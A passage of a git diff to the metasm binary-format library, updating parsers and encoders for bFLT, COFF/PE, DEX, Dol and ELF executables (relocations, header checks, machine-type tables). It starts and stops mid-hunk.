+ #datarel = @encoded.read @header.drsz + #syms = @encoded.read @header.syms + #strings = @encoded.read end def encode diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb index 6e3eb63445..3bd94d953c 100644 --- a/lib/metasm/metasm/exe_format/autoexe.rb +++ b/lib/metasm/metasm/exe_format/autoexe.rb @@ -58,6 +58,7 @@ register_signature("\xca\xfe\xba\xbe") { UniversalBinary } register_signature("dex\n") { DEX } register_signature("dey\n") { DEY } register_signature("\xfa\x70\x0e\x1f") { FatELF } +register_signature("\x50\x4b\x03\x04") { ZIP } register_signature('Metasm.dasm') { Disassembler } # replacement for AutoExe where #load defaults to a Shellcode of the specified CPU diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb index f64b6f6406..ec70a2756c 100644 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ b/lib/metasm/metasm/exe_format/bflt.rb @@ -9,6 +9,7 @@ require 'metasm/decode' module Metasm # BFLT is the binary flat format used by the uClinux +# from examining a v4 binary, it looks like the header is discarded and the file is mapped from 0x40 to memory address 0 (wrt relocations) class Bflt < ExeFormat MAGIC = 'bFLT' FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } @@ -29,13 +30,20 @@ class Bflt < ExeFormat when MAGIC else raise InvalidExeFormat, "Bad bFLT signature #@magic" end + + if @rev >= 0x01000000 and (@rev & 0x00f0ffff) == 0 + puts "Bflt: probable wrong endianness, retrying" if $VERBOSE + exe.endianness = { :big => :little, :little => :big }[exe.endianness] + exe.encoded.ptr -= 4*16 + super(exe) + end end def set_default_values(exe) @magic ||= MAGIC @rev ||= 4 @entry ||= 0x40 - @data_start ||= @entry + exe.text.length if exe.text + @data_start ||= 0x40 + exe.text.length if exe.text @data_end ||= @data_start + exe.data.data.length if exe.data @bss_end ||= @data_start + exe.data.length if exe.data @stack_size ||= 0x1000 @@ -49,7 +57,9 @@ class Bflt < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_word ; 4 ; end + attr_accessor :endianness def initialize(cpu = nil) @endianness = cpu ? cpu.endianness : :little @header = Header.new @@ -61,17 +71,17 @@ class Bflt < ExeFormat def decode_header @encoded.ptr = 0 @header.decode(self) + @encoded.add_export(new_label('entrypoint'), @header.entry) end def decode decode_header - @encoded.ptr = @header.entry - @text = EncodedData.new << @encoded.read(@header.data_start - @header.entry) - @data = EncodedData.new << @encoded.read(@header.data_end - @header.data_start) - @data.virtsize += (@header.bss_end - @header.data_end) + @text = @encoded[0x40...@header.data_start] + @data = @encoded[@header.data_start...@header.data_end] + @data.virtsize += @header.bss_end - @header.data_end - if @header.flags.include? 'GZIP' + if @header.flags.include?('GZIP') # TODO gzip raise 'bFLT decoder: gzip format not supported' end @@ -79,7 +89,7 @@ class Bflt < ExeFormat @reloc = [] @encoded.ptr = @header.reloc_start @header.reloc_count.times { @reloc << decode_word } - if @header.version == 2 + if @header.rev == 2 @reloc.map! { |r| r & 0x3fff_ffff } end @@ -87,32 +97,29 @@ class Bflt < ExeFormat end def decode_interpret_relocs + textsz = @header.data_start-0x40 @reloc.each { |r| # where the reloc is - if r >= @header.entry and r < @header.data_start + if r < textsz section = @text - base = @header.entry - elsif r >= @header.data_start and r < @header.data_end - section = @data - base = @header.data_start + off = section.ptr = r else - puts "out of bounds reloc at #{Expression[r]}" if $VERBOSE - next + section = @data + off = section.ptr = r-textsz end # what it points to - section.ptr = r-base target = decode_word(section) - if target >= @header.entry and target < @header.data_start - target = label_at(@text, target - @header.entry, "xref_#{Expression[target]}") - elsif target >= @header.data_start and target < @header.bss_end - target = label_at(@data, target - @header.data_start, "xref_#{Expression[target]}") + if target < textsz + target = label_at(@text, target, "xref_#{Expression[target]}") + elsif target < @header.bss_end-0x40 + target = label_at(@data, target-textsz, "xref_#{Expression[target]}") else - puts "out of bounds reloc target at #{Expression[r]}" if $VERBOSE + puts "out of bounds reloc target #{Expression[target]} at #{Expression[r]}" if $VERBOSE next end - @text.reloc[r-base] = Relocation.new(Expression[target], :u32, @endianness) + section.reloc[off] = Relocation.new(Expression[target], :u32, @endianness) } end @@ -127,8 +134,8 @@ class Bflt < ExeFormat @encoded = EncodedData.new @encoded << @header.encode(self) - - binding = @text.binding(@header.entry).merge(@data.binding(@header.data_start)) + + binding = @text.binding(0x40).merge(@data.binding(@header.data_start)) @encoded << @text << @data.data @encoded.fixup! binding @encoded.reloc.clear @@ -143,7 +150,7 @@ class Bflt < ExeFormat mapaddr = new_label('mapaddr') binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) [@text, @data].each { |section| - base = @header.entry || 0x40 + base = 0x40 # XXX maybe 0 ? base = @header.data_start || base+@text.length if section == @data section.reloc.each { |o, r| if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and @@ -167,7 +174,16 @@ class Bflt < ExeFormat case instr.raw.downcase when '.text'; @cursource = @textsrc when '.data'; @cursource = @datasrc - # entrypoint is the 1st byte of .text + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @header.entry = entrypoint else super(instr) end end @@ -181,9 +197,23 @@ class Bflt < ExeFormat self end + def get_default_entrypoints + ['entrypoint'] + end + def each_section - yield @text, @header.entry - yield @data, @header.data_start + yield @text, 0 + yield @data, @header.data_start - @header.entry + end + + def section_info + [['.text', 0, @text.length, 'rx'], + ['.data', @header.data_addr-0x40, @data.data.length, 'rw'], + ['.bss', @header.data_end-0x40, @data.length-@data.data.length, 'rw']] + end + + def module_symbols + ['entrypoint', @header.entry-0x40] end end end diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb index 05ef3cc7ee..a330ea5f1f 100644 --- a/lib/metasm/metasm/exe_format/coff.rb +++ b/lib/metasm/metasm/exe_format/coff.rb @@ -81,7 +81,7 @@ class COFF < ExeFormat 11 => 'UNION_MEMBER', 12 => 'UNION_TAG', 13 => 'TYPEDEF', 14 => 'UNDEF_STATIC', 15 => 'ENUM_TAG', 16 => 'ENUM_MEMBER', 17 => 'REG_PARAM', 18 => 'BIT_FIELD', 100 => 'BLOCK', 101 => 'FUNCTION', 102 => 'END_STRUCT', - 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', + 103 => 'FILE', 104 => 'SECTION', 105 => 'WEAK_EXT', } DEBUG_TYPE = { 0 => 'UNKNOWN', 1 => 'COFF', 2 => 'CODEVIEW', 3 => 'FPO', 4 => 'MISC', @@ -140,7 +140,7 @@ class COFF < ExeFormat bytes :link_ver_maj, :link_ver_min words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code # base_of_data does not exist in 64-bit - new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0) + new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0) # NT-specific fields xword :image_base words :sect_align, :file_align @@ -264,7 +264,7 @@ class COFF < ExeFormat class TLSDirectory < SerialStruct xwords :start_va, :end_va, :index_addr, :callback_p - words :zerofill_sz, :characteristics + words :zerofill_sz, :characteristics attr_accessor :callbacks end @@ -413,6 +413,11 @@ class COFF < ExeFormat end def shortname; 'coff'; end + + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end end # the COFF archive file format @@ -448,6 +453,9 @@ class COFFArchive < ExeFormat def member(name) @members.find { |m| m.name == name } end + + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end end end diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb index 5a718a13fe..e46528a119 100644 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ b/lib/metasm/metasm/exe_format/coff_decode.rb @@ -17,13 +17,15 @@ class COFF # decodes a COFF optional header from coff.cursection # also decodes directories in coff.directory def decode(coff) - return set_default_values(coff) if coff.header.size_opthdr == 0 + return set_default_values(coff) if coff.header.size_opthdr == 0 and not coff.header.characteristics.include?('EXECUTABLE_IMAGE') + off = coff.curencoded.ptr super(coff) + nrva = (coff.header.size_opthdr - (coff.curencoded.ptr - off)) / 8 + nrva = @numrva if nrva < 0 - nrva = @numrva - if @numrva > DIRECTORIES.length - puts "W: COFF: Invalid directories count #{@numrva}" if $VERBOSE - nrva = DIRECTORIES.length + if nrva > DIRECTORIES.length or nrva != @numrva + puts "W: COFF: Weird directories count #{@numrva}" if $VERBOSE + nrva = DIRECTORIES.length if nrva > DIRECTORIES.length end coff.directory = {} @@ -171,17 +173,17 @@ class COFF end class ResourceDirectory - def decode(coff, edata = coff.curencoded, startptr = edata.ptr) + def decode(coff, edata = coff.curencoded, startptr = edata.ptr, maxdepth=3) super(coff, edata) @entries = [] nrnames = @nr_names if $DEBUG (@nr_names+@nr_id).times { - e = Entry.new + e = Entry.new - e_id = coff.decode_word(edata) - e_ptr = coff.decode_word(edata) + e_id = coff.decode_word(edata) + e_ptr = coff.decode_word(edata) if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE @@ -213,10 +215,12 @@ class COFF e.subdir_p = e_ptr & 0x7fff_ffff if startptr + e.subdir_p >= edata.length puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE - else + elsif maxdepth > 0 edata.ptr = startptr + e.subdir_p e.subdir = ResourceDirectory.new - e.subdir.decode coff, edata, startptr + e.subdir.decode coff, edata, startptr, maxdepth-1 + else + puts 'W: COFF: recursive resource section' if $VERBOSE end else e.dataentry_p = e_ptr @@ -244,7 +248,8 @@ class COFF decode_tllv = lambda { |ed, state| sptr = ed.ptr - len, vlen, type = coff.decode_half(ed), coff.decode_half(ed), coff.decode_half(ed) + len, vlen = coff.decode_half(ed), coff.decode_half(ed) + coff.decode_half(ed) # type tagname = '' while c = coff.decode_half(ed) and c != 0 tagname << (c&255) @@ -273,7 +278,7 @@ class COFF when :str val = ed.read(vlen*2).unpack('v*') val.pop if val[-1] == 0 - val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } + val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } vers[tagname] = val when :var val = ed.read(vlen).unpack('V*') @@ -426,8 +431,7 @@ class COFF def sect_at_rva(rva) return if not rva or rva <= 0 if sections and not @sections.empty? - valign = lambda { |l| EncodedData.align_size(l, @optheader.sect_align) } - if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + valign[s_.virtsize] > rva } + if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + EncodedData.align_size((s_.virtsize == 0 ? s_.rawsize : s_.virtsize), @optheader.sect_align) > rva } s.encoded.ptr = rva - s.virtaddr @cursection = s elsif rva < @sections.map { |s_| s_.virtaddr }.min @@ -479,7 +483,7 @@ class COFF end def each_section - if @header.size_opthdr == 0 + if @header.size_opthdr == 0 and not @header.characteristics.include?('EXECUTABLE_IMAGE') @sections.each { |s| next if not s.encoded l = new_label(s.name) @@ -490,7 +494,9 @@ class COFF end base = @optheader.image_base base = 0 if not base.kind_of? Integer - yield @encoded[0, @optheader.headers_size], base + sz = @optheader.headers_size + sz = EncodedData.align_size(@optheader.image_size, 4096) if @sections.empty? + yield @encoded[0, sz], base @sections.each { |s| yield s.encoded, base + s.virtaddr } end @@ -566,8 +572,10 @@ class COFF # decodes a section content (allows simpler LoadedPE override) def decode_section_body(s) raw = EncodedData.align_size(s.rawsize, @optheader.file_align) - virt = EncodedData.align_size(s.virtsize, @optheader.sect_align) + virt = s.virtsize virt = raw = s.rawsize if @header.size_opthdr == 0 + virt = raw if virt == 0 + virt = EncodedData.align_size(virt, @optheader.sect_align) s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new s.encoded.virtsize = virt end @@ -634,8 +642,13 @@ class COFF if ct = @directory['certificate_table'] @certificates = [] @cursection = self + if ct[0] > @encoded.length or ct[1] > @encoded.length - ct[0] + puts "W: COFF: invalid certificate_table #{'0x%X+0x%0X' % ct}" if $VERBOSE + ct = [ct[0], 1] + end @encoded.ptr = ct[0] off_end = ct[0]+ct[1] + off_end = @encoded.length if off_end > @encoded.length while @encoded.ptr < off_end certlen = decode_word certrev = decode_half @@ -704,6 +717,25 @@ class COFF end end + def decode_reloc_amd64(r) + case r.type + when 'ABSOLUTE' + when 'HIGHLOW' + addr = decode_word + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'DIR64' + addr = decode_xword + if s = sect_at_va(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + Metasm::Relocation.new(Expression[label], :u64, @endianness) + end + else puts "W: COFF: Unsupported amd64 relocation #{r.inspect}" if $VERBOSE + end + end + def decode_debug if dd = @directory['debug'] and sect_at_rva(dd[0]) @debug = [] @@ -719,11 +751,11 @@ class COFF def decode_tls if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) @tls = TLSDirectory.decode(self) - if s = sect_at_va(@tls.callback_p) + if s = sect_at_va(@tls.callback_p) s.encoded.add_export 'tls_callback_table' @tls.callbacks.each_with_index { |cb, i| @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) - } + } end end end @@ -815,6 +847,7 @@ class COFFArchive ar.encoded.ptr += 1 if @size & 1 == 1 end + # TODO XXX are those actually used ? def decode_half ; @encoded.decode_imm(:u16, :big) end def decode_word ; @encoded.decode_imm(:u32, :big) end diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb index d317884beb..2f449f9e6d 100644 --- a/lib/metasm/metasm/exe_format/coff_encode.rb +++ b/lib/metasm/metasm/exe_format/coff_encode.rb @@ -139,7 +139,7 @@ class COFF end class ImportDirectory - # encodes all import directories + iat + # encode all import directories + iat def self.encode(coff, ary) edata = { 'iat' => [] } %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } @@ -160,12 +160,11 @@ class COFF [it, iat] end - # encodes an import directory + iat + names in the edata hash received as arg + # encode one import directory + iat + names in the edata hash received as arg def encode(coff, edata) edata['iat'] << EncodedData.new # edata['ilt'] = edata['iat'] label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } @libname_p = rva_end['nametable'] @@ -396,7 +395,8 @@ class COFF s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] encode_append_section s - if @imports.first and @imports.first.iat_p.kind_of? Integer + if @imports.first and @imports.first.iat_p.kind_of?(Integer) + # ordiat = iat.sort_by { @import[x].iat_p } ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } else ordiat = iat @@ -413,7 +413,7 @@ class COFF plt.characteristics = %w[MEM_READ MEM_EXECUTE] @imports.zip(iat) { |id, it| - if id.iat_p.kind_of? Integer and s = @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } + if id.iat_p.kind_of?(Integer) and @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } id.iat = it # will be fixed up after encode_section else # XXX should not be mixed (for @directory['iat'][1]) @@ -529,9 +529,7 @@ class COFF end # initialize reloc table base address if needed - if not rt.base_addr - rt.base_addr = off & ~0xfff - end + rt.base_addr ||= off & ~0xfff (rt.relocs ||= []) << r elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) @@ -559,7 +557,7 @@ class COFF end # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] - def pre_encode_header(target = 'exe', want_relocs=true) + def pre_encode_header(target='exe', want_relocs=true) target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) @header.machine ||= case @cpu.shortname @@ -650,11 +648,11 @@ class COFF # append the section bodies to @encoded, and link the resulting binary def encode_sections_fixup - @encoded.align @optheader.file_align if @optheader.headers_size.kind_of?(::String) @encoded.fixup! @optheader.headers_size => @encoded.virtsize @optheader.headers_size = @encoded.virtsize end + @encoded.align @optheader.file_align baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 binding = @encoded.binding(baseaddr) @@ -689,7 +687,7 @@ class COFF # patch the iat where iat_p was defined # sort to ensure a 0-terminated will not overwrite an entry # (try to dump notepad.exe, which has a forwarder;) - @imports.find_all { |id| id.iat_p.kind_of? Integer }.sort_by { |id| id.iat_p }.each { |id| + @imports.find_all { |id| id.iat_p.kind_of?(Integer) }.sort_by { |id| id.iat_p }.each { |id| s = sect_at_rva(id.iat_p) @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat binding.update id.iat.binding(baseaddr + id.iat_p) @@ -710,7 +708,7 @@ class COFF # creates the base relocation tables (need for references to IAT not known before) # defaults to generating relocatable files, eg ALSR-aware # pass want_relocs=false to avoid the file overhead induced by this - def encode(target = 'exe', want_relocs = true) + def encode(target='exe', want_relocs=true) @encoded = EncodedData.new label_at(@encoded, 0, 'coff_start') pre_encode_header(target, want_relocs) @@ -832,7 +830,7 @@ class COFF @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '=' raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer) if not @optheader.image_base - @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 + @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE end s.virtaddr -= @optheader.image_base @@ -1048,7 +1046,7 @@ class COFF end if not dll = autoexports[sym] sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String) - next if not dll = autoexports[sym] + next if not dll = autoexports[sym] end @imports ||= [] diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb index c385dccd61..6b9c5f0538 100644 --- a/lib/metasm/metasm/exe_format/dex.rb +++ b/lib/metasm/metasm/exe_format/dex.rb @@ -43,6 +43,7 @@ class DEX < ExeFormat class SerialStruct < Metasm::SerialStruct + # TODO move uleb/sleb to new_field for sizeof new_int_field :u2, :u4, :uleb, :sleb end @@ -135,7 +136,7 @@ class DEX < ExeFormat class MethodId < SerialStruct u2 :classidx - u2 :typeidx + u2 :protoidx u4 :nameidx end @@ -182,7 +183,7 @@ class DEX < ExeFormat uleb :fieldid_diff # this field id - array.previous field id uleb :access - attr_accessor :field + attr_accessor :fieldid, :field end class EncodedMethod < SerialStruct @@ -190,7 +191,7 @@ class DEX < ExeFormat uleb :access uleb :codeoff # offset to CodeItem - attr_accessor :method, :code, :name + attr_accessor :methodid, :method, :code, :name end class TypeItem < SerialStruct @@ -256,7 +257,7 @@ class DEX < ExeFormat uleb :typeidx uleb :handleroff end - + class Link < SerialStruct # undefined end @@ -328,6 +329,8 @@ class DEX < ExeFormat def encode_u4(val) Expression[val].encode(:u32, @endianness) end def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_u2 ; 2 ; end + def sizeof_u4 ; 4 ; end def decode_uleb(ed = @encoded, signed=false) v = s = 0 while s < 5*7 @@ -390,6 +393,7 @@ class DEX < ExeFormat (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m| next id=0 if m == 0 id += m.methodid_diff + m.methodid = id m.method = @methods[id] m.name = @strings[m.method.nameidx] @encoded.ptr = m.codeoff @@ -441,7 +445,11 @@ class DEX < ExeFormat end def get_default_entrypoints - [] + @classes.find_all { |c| c.data }.map { |c| + (c.data.direct_methods + c.data.virtual_methods).map { |m| + m.codeoff+m.code.insns_off + } + }.flatten end end diff --git a/lib/metasm/metasm/exe_format/dol.rb b/lib/metasm/metasm/exe_format/dol.rb index c78df35df2..b061375914 100644 --- a/lib/metasm/metasm/exe_format/dol.rb +++ b/lib/metasm/metasm/exe_format/dol.rb @@ -26,6 +26,7 @@ class Dol < ExeFormat def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_word ; 4 ; end def initialize(cpu = nil) @endianness = :big diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb index ef518b8c28..b9f3e33542 100644 --- a/lib/metasm/metasm/exe_format/elf.rb +++ b/lib/metasm/metasm/exe_format/elf.rb @@ -21,29 +21,52 @@ class ELF < ExeFormat TYPE_HIPROC = 0xffff MACHINE = { - 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', - 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', - 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', - 15 => 'PARISC', - 17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960', - 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', - 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', - 40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9', - 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', - 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', + 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', + 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', + 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', + 15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960', + 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU', + 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', + 40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9', + 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', + 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', 52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP', - 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', - 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', - 66 => 'FX66', 67 => 'ST9PLUS', - 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', - 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', - 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', - 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', - 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', - 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', - 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', - 99 => 'PJ', - 0x9026 => 'ALPHA' + 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', + 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', + 64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS', + 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', + 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', + 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', + 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', + 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', + 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', + 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE', + 96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K', + 100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR', + 104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33', + 108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS', + 112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE', + 116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE', + 120 => 'M32C', + 131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC', + 134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3', + 138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000', + 142 => 'TI_C5500', + 160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA', + 164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32', + 168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK', + 172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS', + 176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X', + 180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64', + 184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64', + 188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX', + 192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2', + 196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR', + 200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE', + 204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207', + 208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32', + 212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP', + 216 => 'COGE', 217 => 'COOL', 218 => 'NORC', } FLAGS = { @@ -52,8 +75,9 @@ class ELF < ExeFormat 0x8000_0000 => 'LEDATA'}, 'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'}, # XXX not a flag 'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC', - 8 => 'XGOT', 16 => '64BIT_WHIRL', 32 => 'ABI2', - 64 => 'ABI_ON32'} + 8 => 'XGOT', 0x10 => '64BIT_WHIRL', 0x20 => 'ABI2', + 0x40 => 'ABI_ON32', 0x80 => 'OPTIONSFIRST', + 0x100 => '32BITMODE'} } DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 => @@ -300,6 +324,37 @@ class ELF < ExeFormat 112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI', 114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD', 116 => 'EMB_RELSDA' }, + 'SH' => { 0 => 'NONE', 1 => 'DIR32', 2 => 'REL32', 3 => 'DIR8WPN', + 4 => 'IND12W', 5 => 'DIR8WPL', 6 => 'DIR8WPZ', 7 => 'DIR8BP', + 8 => 'DIR8W', 9 => 'DIR8L', 10 => 'LOOP_START', 11 => 'LOOP_END', + 22 => 'GNU_VTINHERIT', 23 => 'GNU_VTENTRY', 24 => 'SWITCH8', + 25 => 'SWITCH16', 26 => 'SWITCH32', 27 => 'USES', 28 => 'COUNT', + 29 => 'ALIGN', 30 => 'CODE', 31 => 'DATA', 32 => 'LABEL', + 33 => 'DIR16', 34 => 'DIR8', 35 => 'DIR8UL', 36 => 'DIR8UW', + 37 => 'DIR8U', 38 => 'DIR8SW', 39 => 'DIR8S', 40 => 'DIR4UL', + 41 => 'DIR4UW', 42 => 'DIR4U', 43 => 'PSHA', 44 => 'PSHL', + 45 => 'DIR5U', 46 => 'DIR6U', 47 => 'DIR6S', 48 => 'DIR10S', + 49 => 'DIR10SW', 50 => 'DIR10SL', 51 => 'DIR10SQ', 53 => 'DIR16S', + 144 => 'TLS_GD_32', 145 => 'TLS_LD_32', 146 => 'TLS_LDO_32', + 147 => 'TLS_IE_32', 148 => 'TLS_LE_32', 149 => 'TLS_DTPMOD32', + 150 => 'TLS_DTPOFF32', 151 => 'TLS_TPOFF32', 160 => 'GOT32', + 161 => 'PLT32', 162 => 'COPY', 163 => 'GLOB_DAT', + 164 => 'JMP_SLOT', 165 => 'RELATIVE', 166 => 'GOTOFF', + 167 => 'GOTPC', 168 => 'GOTPLT32', 169 => 'GOT_LOW16', + 170 => 'GOT_MEDLOW16', 171 => 'GOT_MEDHI16', 172 => 'GOT_HI16', + 173 => 